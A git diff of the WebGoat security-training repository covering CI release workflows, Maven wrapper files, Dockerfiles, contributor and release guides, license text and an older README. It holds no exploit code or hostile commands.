name: Release WebGoat
runs-on: ubuntu-latest
permissions:
contents: write
environment:
name: release
steps:
- uses: actions/checkout@v4
- name: Set up JDK 23
uses: actions/setup-java@v4
with:
distribution: 'temurin'
java-version: 23
architecture: x64
cache: 'maven'
- name: "Set labels for ${{ github.ref }}"
run: |
echo "WEBGOAT_TAG_VERSION=${{ github.ref_name }}" >> $GITHUB_ENV
WEBGOAT_MAVEN_VERSION=${{ github.ref_name }}
echo "WEBGOAT_MAVEN_VERSION=${WEBGOAT_MAVEN_VERSION:1}" >> $GITHUB_ENV
- name: Build with Maven
run: |
mvn --no-transfer-progress versions:set -DnewVersion=${{ env.WEBGOAT_MAVEN_VERSION }}
mvn --no-transfer-progress install -DskipTests
- name: "Create release"
uses: softprops/action-gh-release@v1
with:
draft: false
files: |
target/webgoat-${{ env.WEBGOAT_MAVEN_VERSION }}.jar
body: |
## Version ${{ github.ref_name }}
### New functionality
- test
### Bug fixes
- [#743 - Character encoding errors](https://github.com/WebGoat/WebGoat/issues/743)
Full change log: https://github.com/WebGoat/WebGoat/compare/${{ github.ref_name }}...${{ github.ref_name }}
## Contributors
Special thanks to the following contributors providing us with a pull request:
- Person 1
- Person 2
And everyone who provided feedback through Github.
Team WebGoat
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
- name: "Set up QEMU"
uses: docker/setup-qemu-action@v3.6.0
with:
platforms: all
- name: "Set up Docker Buildx"
uses: docker/setup-buildx-action@v3
- name: "Login to dockerhub"
uses: docker/login-action@v3.4.0
with:
username: ${{ secrets.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }}
- name: "Build and push WebGoat"
uses: docker/build-push-action@v6.16.0
with:
context: ./
file: ./Dockerfile
push: true
platforms: linux/amd64, linux/arm64
tags: |
webgoat/webgoat:${{ env.WEBGOAT_TAG_VERSION }}
webgoat/webgoat:latest
build-args: |
webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}
- name: "Build and push WebGoat desktop"
uses: docker/build-push-action@v6.16.0
with:
context: ./
file: ./Dockerfile_desktop
push: true
platforms: linux/amd64, linux/arm64
tags: |
webgoat/webgoat-desktop:${{ env.WEBGOAT_TAG_VERSION }}
webgoat/webgoat-desktop:latest
build-args: |
webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}
new_version:
if: github.repository == 'WebGoat/WebGoat'
name: Update to next SNAPSHOT version
needs: [ release ]
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
fetch-depth: 0
- name: Set up JDK 23
uses: actions/setup-java@v4
with:
distribution: 'temurin'
java-version: 23
architecture: x64
- name: Set version to next snapshot
run: |
mvn build-helper:parse-version versions:set -DnewVersion=\${parsedVersion.majorVersion}.\${parsedVersion.minorVersion}-SNAPSHOT versions:commit
- name: Push the changes to new branch
uses: devops-infra/action-commit-push@v0.10.0
with:
github_token: "${{ secrets.GITHUB_TOKEN }}"
add_timestamp: true
commit_message: "Updating to the new development version"
force: false
- name: Create PR
uses: devops-infra/action-pull-request@v0.6.0
with:
github_token: "${{ secrets.GITHUB_TOKEN }}"
title: ${{ github.event.commits[0].message }}
target_branch: main

17
.github/workflows/welcome.yml vendored Normal file
View File

@ -0,0 +1,17 @@
name: Welcome
on:
issues:
types:
- opened
jobs:
greeting:
if: github.repository == 'WebGoat/WebGoat'
runs-on: ubuntu-latest
steps:
- uses: actions/first-interaction@v1.3.0
with:
repo-token: ${{ secrets.GITHUB_TOKEN }}
issue-message: 'Thanks for submitting your first issue, we will have a look as quickly as possible.'
pr-message: 'Thanks so much for your contribution, really appreciated! We will have a look and merge it if everything checks out!'

26
.gitignore vendored
View File

@ -14,7 +14,9 @@
/.settings/org.eclipse.wst.validation.prefs
/.externalToolBuilders/
.project
/target
*/target/*
*.pmd
mongo-data/*
.classpath
.idea/
.settings/
@ -29,6 +31,7 @@ src/main/webapp/plugin_lessons/*.jar
src/main/webapp/users/*.props
classes/*
*.iml
pom.xml.versionsBackup
/*.iml
.extract/*
@ -36,6 +39,25 @@ UserDatabase.mv.db
webgoat-container/src/main/webapp/users/guest.org.owasp.webgoat.plugin.*.props
webgoat-container/src/main/webapp/plugin_lessons/dist-*.pom
webgoat-lessons/**/target
**/*.jar
**/.DS_Store
webgoat-server/mongo-data/*
webgoat-lessons/vulnerable-components/dependency-reduced-pom.xml
**/.sts4-cache/*
**/.vscode/*
**/.factorypath
/.sonatype
**/bin/*
webgoat.lck
webgoat.log
webgoat.properties
webgoat.script
TestClass.class
**/*.flattened-pom.xml
/.gitconfig
webgoat.gitconfig
node_modules/
/test-results/
/playwright-report/
/blob-report/
/playwright/.cache/

117
.mvn/wrapper/MavenWrapperDownloader.java vendored Normal file
View File

@ -0,0 +1,117 @@
/*
* Copyright 2007-present the original author or authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
import java.net.*;
import java.io.*;
import java.nio.channels.*;
import java.util.Properties;
public class MavenWrapperDownloader {
private static final String WRAPPER_VERSION = "0.5.5";
/**
* Default URL to download the maven-wrapper.jar from, if no 'downloadUrl' is provided.
*/
private static final String DEFAULT_DOWNLOAD_URL = "https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/"
+ WRAPPER_VERSION + "/maven-wrapper-" + WRAPPER_VERSION + ".jar";
/**
* Path to the maven-wrapper.properties file, which might contain a downloadUrl property to
* use instead of the default one.
*/
private static final String MAVEN_WRAPPER_PROPERTIES_PATH =
".mvn/wrapper/maven-wrapper.properties";
/**
* Path where the maven-wrapper.jar will be saved to.
*/
private static final String MAVEN_WRAPPER_JAR_PATH =
".mvn/wrapper/maven-wrapper.jar";
/**
* Name of the property which should be used to override the default download url for the wrapper.
*/
private static final String PROPERTY_NAME_WRAPPER_URL = "wrapperUrl";
public static void main(String args[]) {
System.out.println("- Downloader started");
File baseDirectory = new File(args[0]);
System.out.println("- Using base directory: " + baseDirectory.getAbsolutePath());
// If the maven-wrapper.properties exists, read it and check if it contains a custom
// wrapperUrl parameter.
File mavenWrapperPropertyFile = new File(baseDirectory, MAVEN_WRAPPER_PROPERTIES_PATH);
String url = DEFAULT_DOWNLOAD_URL;
if(mavenWrapperPropertyFile.exists()) {
FileInputStream mavenWrapperPropertyFileInputStream = null;
try {
mavenWrapperPropertyFileInputStream = new FileInputStream(mavenWrapperPropertyFile);
Properties mavenWrapperProperties = new Properties();
mavenWrapperProperties.load(mavenWrapperPropertyFileInputStream);
url = mavenWrapperProperties.getProperty(PROPERTY_NAME_WRAPPER_URL, url);
} catch (IOException e) {
System.out.println("- ERROR loading '" + MAVEN_WRAPPER_PROPERTIES_PATH + "'");
} finally {
try {
if(mavenWrapperPropertyFileInputStream != null) {
mavenWrapperPropertyFileInputStream.close();
}
} catch (IOException e) {
// Ignore ...
}
}
}
System.out.println("- Downloading from: " + url);
File outputFile = new File(baseDirectory.getAbsolutePath(), MAVEN_WRAPPER_JAR_PATH);
if(!outputFile.getParentFile().exists()) {
if(!outputFile.getParentFile().mkdirs()) {
System.out.println(
"- ERROR creating output directory '" + outputFile.getParentFile().getAbsolutePath() + "'");
}
}
System.out.println("- Downloading to: " + outputFile.getAbsolutePath());
try {
downloadFileFromURL(url, outputFile);
System.out.println("Done");
System.exit(0);
} catch (Throwable e) {
System.out.println("- Error downloading");
e.printStackTrace();
System.exit(1);
}
}
private static void downloadFileFromURL(String urlString, File destination) throws Exception {
if (System.getenv("MVNW_USERNAME") != null && System.getenv("MVNW_PASSWORD") != null) {
String username = System.getenv("MVNW_USERNAME");
char[] password = System.getenv("MVNW_PASSWORD").toCharArray();
Authenticator.setDefault(new Authenticator() {
@Override
protected PasswordAuthentication getPasswordAuthentication() {
return new PasswordAuthentication(username, password);
}
});
}
URL website = new URL(urlString);
ReadableByteChannel rbc;
rbc = Channels.newChannel(website.openStream());
FileOutputStream fos = new FileOutputStream(destination);
fos.getChannel().transferFrom(rbc, 0, Long.MAX_VALUE);
fos.close();
rbc.close();
}
}

BIN
.mvn/wrapper/maven-wrapper.jar vendored Normal file

Binary file not shown.

2
.mvn/wrapper/maven-wrapper.properties vendored Normal file
View File

@ -0,0 +1,2 @@
distributionUrl=https://repo.maven.apache.org/maven2/org/apache/maven/apache-maven/3.9.9/apache-maven-3.9.9-bin.zip
wrapperUrl=https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.5.6/maven-wrapper-0.5.6.jar

28
.pre-commit-config.yaml Normal file
View File

@ -0,0 +1,28 @@
ci:
autofix_commit_msg: |
[pre-commit.ci] auto fixes from pre-commit.com hooks
autofix_prs: false # managed in the action step
autoupdate_branch: ""
autoupdate_commit_msg: "[pre-commit.ci] pre-commit autoupdate"
autoupdate_schedule: weekly
skip: []
submodules: false
repos:
- repo: https://github.com/pre-commit/pre-commit-hooks
rev: v4.4.0
hooks:
- id: check-yaml
- id: end-of-file-fixer
exclude: ^(README.md|CREATE_RELEASE.md)
- id: trailing-whitespace
- repo: https://github.com/alessandrojcm/commitlint-pre-commit-hook
rev: v9.5.0
hooks:
- id: commitlint
stages: [commit-msg]
- repo: https://github.com/ejba/pre-commit-maven
rev: v0.3.4
hooks:
- id: maven
args: [ 'clean compile' ]
- id: maven-spotless-apply

View File

@ -1,52 +0,0 @@
services:
- docker
language: java
jdk:
- oraclejdk8
install: "/bin/true"
script:
- export BRANCH=$(if [ "$TRAVIS_PULL_REQUEST" == "false" ]; then echo $TRAVIS_BRANCH; else echo $TRAVIS_PULL_REQUEST_BRANCH; fi)
- echo "TRAVIS_BRANCH=$TRAVIS_BRANCH, PR=$PR, BRANCH=$BRANCH"
- mvn clean install -q
cache:
directories:
- "$HOME/.m2"
before_deploy:
- export WEBGOAT_SERVER_TARGET_DIR=$HOME/build/$TRAVIS_REPO_SLUG/webgoat-server/target
- export WEBWOLF_TARGET_DIR=$HOME/build/$TRAVIS_REPO_SLUG/webwolf/target
- export WEBGOAT_ARTIFACTS_FOLDER=$HOME/build/$TRAVIS_REPO_SLUG/Deployable_Artifacts/
- mkdir -p $WEBGOAT_ARTIFACTS_FOLDER
- cp -fa $WEBGOAT_SERVER_TARGET_DIR/*.jar $WEBGOAT_ARTIFACTS_FOLDER/
- cp -fa $WEBWOLF_TARGET_DIR/*.jar $WEBGOAT_ARTIFACTS_FOLDER/
- echo "Contents of artifacts folder:"
- ls $WEBGOAT_ARTIFACTS_FOLDER
deploy:
- provider: script
skip_cleanup: true
script: bash scripts/deploy-webgoat.sh
on:
repo: WebGoat/WebGoat
tags: true
- provider: script
skip_cleanup: true
script: bash scripts/deploy-webgoat.sh
on:
repo: WebGoat/WebGoat
branch: develop
- provider: releases
skip_cleanup: true
overwrite: true
api_key:
#api-key from webgoat-github user
secure: pJOLBnl6427PcVg/tVy/qB18JC7b8cKpffau+IP0pjdSt7KUfBdBY3QuJ7mrM65zRoVILzggLckaew2PlRmYQRdumyWlyRn44XiJ9KO4n6Bsufbz+ictB4ggtozpp9+I9IIUh1TmqypL9lhkX2ONM9dSHmyblYpAAgMuYSK8FYc=
file_glob: true
file: $WEBGOAT_ARTIFACTS_FOLDER/*
on:
repo: WebGoat/WebGoat
tags: true
env:
global:
#Docker login
- secure: XgPc0UKRTUI70I4YWNQpThPPWeQIxkmzh1GNoR/SSDC2GPIBq3EfkkbSQewqil8stTy+S1/xSzc0JXG8NTn7UOxHVHA/2nhI6jX9E+DKtXQ89YwmaDNQjkbMjziAtDCIex+5TRykxNfkxj6VPYbDssrzI7iJXOIZVj/HoyO3O5E=
#Docker password
- secure: aly5TKBUK9sIiqtMbytNNPZHQhC0a7Yond5tEtuJ8fO+j/KZB4Uro3I6BhzYjGWFb5Kndd0j2TXHPFvtOl402J1CmFsY3v0BhilQd0g6zOssp5T0A73m8Jgq4ItV8wQJJy2bQsXqL1B+uFYieYPiMchj7JxWW0vBn7TV5b68l6U=

60
CODE_OF_CONDUCT.md Normal file
View File

@ -0,0 +1,60 @@
# Contributor Covenant Code of Conduct
## Our Pledge
In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, sex characteristics, gender identity and expression, level of experience, education, socio-economic status, nationality, personal appearance, race, religion, or sexual identity and orientation.
## Our Standards
Examples of behavior that contributes to creating a positive environment include:
- Using welcoming and inclusive language
- Being respectful of differing viewpoints and experiences
- Gracefully accepting constructive criticism
- Focusing on what is best for the community
- Showing empathy towards other community members
Examples of unacceptable behavior by participants include:
- The use of sexualized language or imagery and unwelcome sexual attention or advances
- Trolling, insulting/derogatory comments, and personal or political attacks
- Public or private harassment
- Publishing others' private information, such as a physical or electronic address, without explicit permission
- Misusing the context of the WebGoat project for commercial goals (e.g. adding sales pitches to the codebase or to communication channels used by the project, such as Slack).
- Other conduct which could reasonably be considered inappropriate in a professional setting
## Our Responsibilities
Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior.
Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful.
## Disclaimer
The WebGoat project and its materials are conceived for educational and research purposes only.
Refrain from violating the laws in your country by carefully consulting them before executing any tests against web applications or other assets utilizing the WebGoat (or Webwolf) materials.
The WebGoat project is also NOT supporting unethical activities in any way. If you come across such requests, please reach out to the project leaders and raise this to them.
Neither OWASP, the WebGoat project leaders, authors or anyone else involved in this project is going to take responsibility for your actions.
The intention of the WebGoat is not to encourage hacking or malicious activities! Instead, the goal of the project is to learn different hacking techniques and offer ways to reduce or mitigate that risk.
## Scope
This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community includes using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers.
## Enforcement
Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at nanne.baars@owasp.org.
All complaints will be reviewed and investigated and will result in a response that is deemed necessary and appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately.
Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership.
## Attribution
This Code of Conduct is adapted from the [Contributor Covenant](https://www.contributor-covenant.org "Contributor Covenant homepage"), [version 1.4](https://www.contributor-covenant.org/version/1/4/code-of-conduct.html "Code of Conduct version 1.4").
For answers to common questions about this code of conduct, see [the Contributor Covenant FAQ](https://www.contributor-covenant.org/faq)

119
CONTRIBUTING.md Normal file
View File

@ -0,0 +1,119 @@
# Contributing
[![GitHub contributors](https://img.shields.io/github/contributors/WebGoat/WebGoat.svg)](https://github.com/WebGoat/WebGoat/graphs/contributors)
![GitHub issues by-label "help wanted"](https://img.shields.io/github/issues/WebGoat/WebGoat/help%20wanted.svg)
![GitHub issues by-label "good first issue"](https://img.shields.io/github/issues/WebGoat/WebGoat/good%20first%20issue.svg)
[![Conventional Commits](https://img.shields.io/badge/Conventional%20Commits-1.0.0-%23FE5196?logo=conventionalcommits&logoColor=white)](https://conventionalcommits.org)
This document describes how you can contribute to WebGoat. Please read it carefully.
**Table of Contents**
* [How to Contribute to the Project](#how-to-contribute-to-the-project)
* [How to set up your Contributor Environment](#how-to-set-up-your-contributor-environment)
* [How to get your PR Accepted](#how-to-get-your-pr-accepted)
## How to Contribute to the project
There are a couple of ways on how you can contribute to the project:
* **File [issues](https://github.com/WebGoat/WebGoat/issues "Webgoat Issues")** for missing content or errors. Explain what you think is missing and give a suggestion as to where it could be added.
* **Create a [pull request (PR)](https://github.com/WebGoat/WebGoat/pulls "Create a pull request")**. This is a direct contribution to the project and may be merged after review. You should ideally [create an issue](https://github.com/WebGoat/WebGoat/issues "WebGoat Issues") for any PR you would like to submit, as we can first review the merit of the PR and avoid any unnecessary work. This is of course not needed for small modifications such as correcting typos.
* **Help out financially** by donating via [OWASP donations](https://owasp.org/donate/?reponame=www-project-webgoat&title=OWASP+WebGoat).
## How to get your PR accepted
Your PR is valuable to us, and to make sure we can integrate it smoothly, we have a few items for you to consider. In short:
The minimum requirements for code contributions are:
1. The code _must_ be compliant with the configured Java Google Formatter, Checkstyle and PMD rules.
2. All new and changed code _should_ have a corresponding unit and/or integration test.
3. New and changed lessons _must_ have a corresponding integration test.
4. [Status checks](https://docs.github.com/en/github/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks) should pass for your last commit.
Additionally, the following guidelines can help:
### Keep your pull requests limited to a single issue
Pull requests should be as small/atomic as possible. Large, wide-sweeping changes in a pull request will be **rejected**, with comments to isolate the specific code in your pull request. Some examples:
* If you are making spelling corrections in the docs, don't modify other files.
* If you are adding new functions don't '*cleanup*' unrelated functions. That cleanup belongs in another pull request.
### Write a good commit message
* We use [Conventional Commits](https://www.conventionalcommits.org/en/v1.0.0/) and use the following types:
- fix:
- feat:
- build:
- chore:
- ci:
- docs:
- refactor:
- test:
Using this style of commits makes it possible to create our release notes automatically.
* Explain why you make the changes. [More infos about a good commit message.](https://betterprogramming.pub/stop-writing-bad-commit-messages-8df79517177d)
* If you fix an issue with your commit, please close the issue by [adding one of the keywords and the issue number](https://docs.github.com/en/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue) to your commit message.
For example: `Fix #545` or `Closes #10`
## How to set up your Contributor Environment
1. Create a GitHub account. Multiple different GitHub subscription plans are available, but you only need a free one. Follow [these steps](https://help.github.com/en/articles/signing-up-for-a-new-github-account "Signing up for a new GitHub account") to set up your account.
2. Fork the repository. Creating a fork means creating a copy of the repository on your own account, which you can modify without any impact on this repository. GitHub has an [article that describes all the needed steps](https://help.github.com/en/articles/fork-a-repo "Fork a repo").
3. Clone your own repository to your host computer so that you can make modifications. If you followed the GitHub tutorial from step 2, you have already done this.
4. Go to the newly cloned directory "WebGoat" and add the remote upstream repository:
```bash
$ git remote -v
origin git@github.com:<your Github handle>/WebGoat.git (fetch)
origin git@github.com:<your Github handle>/WebGoat.git (push)
$ git remote add upstream git@github.com:WebGoat/WebGoat.git
$ git remote -v
origin git@github.com:<your Github handle>/WebGoat.git (fetch)
origin git@github.com:<your Github handle>/WebGoat.git (push)
upstream git@github.com:OWASP/WebGoat.git (fetch)
upstream git@github.com:OWASP/WebGoat.git (push)
```
See also the GitHub documentation on "[Configuring a remote for a fork](https://docs.github.com/en/free-pro-team@latest/github/collaborating-with-issues-and-pull-requests/configuring-a-remote-for-a-fork "Configuring a remote for a fork")".
5. Choose what to work on, based on any of the outstanding [issues](https://github.com/WebGoat/WebGoat/issues "WebGoat Issues").
6. Create a branch so that you can cleanly work on the chosen issue: `git checkout -b FixingIssue66`
7. Open your favorite editor and start making modifications. We recommend using the [IntelliJ Idea](https://www.jetbrains.com/idea/).
8. After your modifications are done, push them to your forked repository. This can be done by executing the command `git add MYFILE` for every file you have modified, followed by `git commit -m 'your commit message here'` to commit the modifications and `git push` to push your modifications to GitHub.
9. Create a Pull Request (PR) by going to your fork, <https://github.com/Your_Github_Handle/WebGoat> and click on the "New Pull Request" button. The target branch should typically be the Master branch. When submitting a PR, be sure to follow the checklist that is provided in the PR template. The checklist itself will be filled out by the reviewer.
10. Your PR will be reviewed and comments may be given. In order to process a comment, simply make modifications to the same branch as before and push them to your repository. GitHub will automatically detect these changes and add them to your existing PR.
11. When starting on a new PR in the future, make sure to always keep your local repo up to date:
```bash
$ git fetch upstream
$ git merge upstream/main
```
See also the following article for further explanation on "[How to Keep a Downstream git Repository Current with Upstream Repository Changes](https://medium.com/sweetmeat/how-to-keep-a-downstream-git-repository-current-with-upstream-repository-changes-10b76fad6d97 "How to Keep a Downstream git Repository Current with Upstream Repository Changes")".
If at any time you want to work on a different issue, you can simply switch to a different branch, as explained in step 5.
> Tip: Don't try to work on too many issues at once though, as it will be a lot more difficult to merge branches the longer they are open.
## What not to do
Although we greatly appreciate any and all contributions to the project, there are a few things that you should take into consideration:
* The WebGoat project should not be used as a platform for advertisement for commercial tools, companies or individuals. Write-ups should be written with free and open-source tools in mind and commercial tools are typically not accepted, unless as a reference in the security tools section.
* Unnecessary self-promotion of tools or blog posts is frowned upon. If you have a relation with on of the URLs or tools you are referencing, please state so in the PR so that we can verify that the reference is in line with the rest of the guide.
Please be sure to take a careful look at our [Code of Conduct](https://github.com/WebGoat/WebGoat/blob/master/CODE_OF_CONDUCT.md) for all the details.

22
COPYRIGHT.txt Normal file
View File

@ -0,0 +1,22 @@
This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
SPDX-License-Identifier: GPL-2.0-or-later
Copyright (c) 2002 - 2016 Bruce Mayhew
Copyright (c) 2014 - $today.year Nanne Baars
This program is free software; you can redistribute it and/or modify it under the terms of the
GNU General Public License as published by the Free Software Foundation; either version 2 of the
License, or (at your option) any later version.
This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
General Public License for more details.
You should have received a copy of the GNU General Public License along with this program; if
not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
02111-1307, USA.
Getting Source ==============
Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.

26
CREATE_RELEASE.md Normal file
View File

@ -0,0 +1,26 @@
## Release WebGoat
### Version numbers
For WebGoat we use milestone releases first before we release the official version, we use `v2023.01` while tagging
and 2023.01 in the `pom.xml`.
### Release notes:
Update the release notes with the correct version. Use `git shortlog -s -n --since "JAN 06 2023"` for the list of
committers. In order to fetch the list of issues included use:
`git log --graph --pretty='%C(auto)%d%Creset%s' v2023.4..origin/main`
```
mvn versions:set
<< update release notes >>
mvn verify
git commit ....
git tag v2023.01
git push --tags
git push
```
After the release has been tagged and the build process is done. The release notes should be updated in the GitHub
release page.

40
Dockerfile Normal file
View File

@ -0,0 +1,40 @@
# We need JDK as some of the lessons needs to be able to compile Java code
FROM docker.io/eclipse-temurin:23-jdk-noble
LABEL name="WebGoat: A deliberately insecure Web Application"
LABEL maintainer="WebGoat team"
RUN \
useradd -ms /bin/bash webgoat && \
chgrp -R 0 /home/webgoat && \
chmod -R g=u /home/webgoat
USER webgoat
COPY --chown=webgoat target/webgoat-*.jar /home/webgoat/webgoat.jar
EXPOSE 8080
EXPOSE 9090
ENV TZ=Europe/Amsterdam
WORKDIR /home/webgoat
ENTRYPOINT [ "java", \
"-Duser.home=/home/webgoat", \
"-Dfile.encoding=UTF-8", \
"--add-opens", "java.base/java.lang=ALL-UNNAMED", \
"--add-opens", "java.base/java.util=ALL-UNNAMED", \
"--add-opens", "java.base/java.lang.reflect=ALL-UNNAMED", \
"--add-opens", "java.base/java.text=ALL-UNNAMED", \
"--add-opens", "java.desktop/java.beans=ALL-UNNAMED", \
"--add-opens", "java.desktop/java.awt.font=ALL-UNNAMED", \
"--add-opens", "java.base/sun.nio.ch=ALL-UNNAMED", \
"--add-opens", "java.base/java.io=ALL-UNNAMED", \
"--add-opens", "java.base/java.util=ALL-UNNAMED", \
"--add-opens", "java.base/sun.nio.ch=ALL-UNNAMED", \
"--add-opens", "java.base/java.io=ALL-UNNAMED", \
"-Drunning.in.docker=true", \
"-jar", "webgoat.jar", "--server.address", "0.0.0.0" ]
HEALTHCHECK --interval=5s --timeout=3s \
CMD curl --fail http://localhost:8080/WebGoat/actuator/health || exit 1

47
Dockerfile_desktop Normal file
View File

@ -0,0 +1,47 @@
FROM lscr.io/linuxserver/webtop:ubuntu-xfce
LABEL name="WebGoat: A deliberately insecure Web Application"
LABEL maintainer="WebGoat team"
WORKDIR /config
COPY target/webgoat-*.jar /config/webgoat.jar
COPY config/desktop/start_webgoat.sh /config/start_webgoat.sh
COPY config/desktop/start_zap.sh /config/start_zap.sh
COPY config/desktop/WebGoat.txt /config/Desktop/
RUN \
apt-get update && \
apt-get --yes install vim nano gzip
RUN \
case $(uname -m) in \
x86_64) ARCH=x64;; \
aarch64) ARCH=aarch64;; \
*) ARCH=unknown;; \
esac && \
echo ${ARCH}
RUN \
curl -LO https://github.com/zaproxy/zaproxy/releases/download/v2.15.0/ZAP_2.15.0_Linux.tar.gz && \
tar zfxv ZAP_2.15.0_Linux.tar.gz && \
rm -rf ZAP_2.15.0_Linux.tar.gz
RUN \
case $(uname -m) in \
x86_64) ARCH=x64;; \
aarch64) ARCH=aarch64;; \
*) ARCH=unknown;; \
esac && \
echo "oeps == ${ARCH}==" && \
curl -L https://github.com/adoptium/temurin23-binaries/releases/download/jdk-23.0.1%2B11/OpenJDK23U-jre_"${ARCH}"_linux_hotspot_23.0.1_11.tar.gz -o java.tar.gz && \
tar zfxv java.tar.gz && \
rm -rf java.tar.gz && \
chmod +x /config/start_webgoat.sh && \
chmod +x /config/start_zap.sh && \
mv /config/jdk-23.0.1+11-jre /config/java-jdk && \
echo "JAVA_HOME=/config/java-jdk/" >> .bash_aliases && \
echo "PATH=$PATH:$JAVA_HOME/bin" >> .bash_aliases
ENV JAVA_HOME=/config/java-jdk
WORKDIR /config/Desktop

7
FAQ.md Normal file
View File

@ -0,0 +1,7 @@
# FAQ for development
## Introduction
### Integration tests fail
Try to run the command in the console `java -jar ...` and remove `-Dlogging.pattern.console=` from the command line.

22
LICENSE.txt Normal file
View File

@ -0,0 +1,22 @@
This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
SPDX-License-Identifier: GPL-2.0-or-later
Copyright (c) 2002 - $today.year Bruce Mayhew
Copyright (c) 2014 - $today.year Nanne Baars
This program is free software; you can redistribute it and/or modify it under the terms of the
GNU General Public License as published by the Free Software Foundation; either version 2 of the
License, or (at your option) any later version.
This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
General Public License for more details.
You should have received a copy of the GNU General Public License along with this program; if
not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
02111-1307, USA.
Getting Source ==============
Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.

1
PULL_REQUEST_TEMPLATE.md Normal file
View File

@ -0,0 +1 @@
Thank you for submitting a pull request to the WebGoat!

159
README.MD
View File

@ -1,159 +0,0 @@
# WebGoat: A deliberately insecure Web Application
[![Build Status](https://travis-ci.org/WebGoat/WebGoat.svg?branch=develop)](https://travis-ci.org/WebGoat/WebGoat)
[![Coverage Status](https://coveralls.io/repos/WebGoat/WebGoat/badge.svg?branch=develop&service=github)](https://coveralls.io/github/WebGoat/WebGoat?branch=master)
[![Codacy Badge](https://api.codacy.com/project/badge/b69ee3a86e3b4afcaf993f210fccfb1d)](https://www.codacy.com/app/dm/WebGoat)
[![Dependency Status](https://www.versioneye.com/user/projects/562da95ae346d7000e0369aa/badge.svg?style=flat)](https://www.versioneye.com/user/projects/562da95ae346d7000e0369aa)
[![OWASP Labs](https://img.shields.io/badge/owasp-labs-orange.svg)](https://www.owasp.org/index.php/OWASP_Project_Inventory#tab=Labs_Projects)
# Important
This is the development version of WebGoat 8, if you are looking for a released stable version please go to: https://github.com/WebGoat/WebGoat/wiki/Running-WebGoat
# Introduction
WebGoat is a deliberately insecure web application maintained by [OWASP](http://www.owasp.org/) designed to teach web
application security lessons.
This program is a demonstration of common server-side application flaws. The
exercises are intended to be used by people to learn about application security and
penetration testing techniques.
**WARNING 1:** *While running this program your machine will be extremely
vulnerable to attack. You should disconnect from the Internet while using
this program.* WebGoat's default configuration binds to localhost to minimize
the exposure.
**WARNING 2:** *This program is for educational purposes only. If you attempt
these techniques without authorization, you are very likely to get caught. If
you are caught engaging in unauthorized hacking, most companies will fire you.
Claiming that you were doing security research will not work as that is the
first thing that all hackers claim.*
# Run Instructions:
## 1. Run using Docker
From time to time we publish a new development preview of WebGoat 8 on Docker HUB, you can download this version
[https://hub.docker.com/r/webgoat/webgoat-8.0/](https://hub.docker.com/r/webgoat/webgoat-8.0/).
First install Docker, then open a command shell/window and type:
```Shell
docker pull webgoat/webgoat-8.0
docker run -p 8080:8080 -it webgoat/webgoat-8.0 /home/webgoat/start.sh
```
Wait for the Docker container to start, and run `docker ps` to verify it's running.
- If you are using `docker-machine`, verify the machine IP using `docker-machine env`
- If you are using `boot2docker` on OSX, verify the IP by running `docker network inspect bridge`
- Otherwise, the host will be bound to localhost
Once you have the IP and port, you'll want to navigate to the `/WebGoat` path in the URL. For example:
```
http://192.168.99.100:8080/WebGoat
```
Here you'll be able to register a new user and get started.
_Please note: this version may not be completely in sync with the develop branch._
## 2. Standalone
Download the latest WebWolf release from [https://github.com/WebGoat/WebGoat/releases](https://github.com/WebGoat/WebGoat/releases)
```Shell
java -jar webgoat-server-<<version>>.jar
```
## 3. Run from the sources
### Prerequisites:
* Java 8
* Maven > 3.2.1
* Your favorite IDE
* Git, or Git support in your IDE
Open a command shell/window:
```Shell
git clone git@github.com:WebGoat/WebGoat.git
```
Now let's start by compiling the project.
```Shell
cd WebGoat
git checkout develop
mvn clean install
```
Now we are ready to run the project. WebGoat 8.x is using Spring-Boot.
```Shell
mvn -pl webwolf spring-boot:run
```
... you should be running webgoat on localhost:8080/WebGoat momentarily
To change IP addresss add the following variable to WebGoat/webgoat-container/src/main/resources/application.properties file
```server.address=x.x.x.x
```
# Vagrant
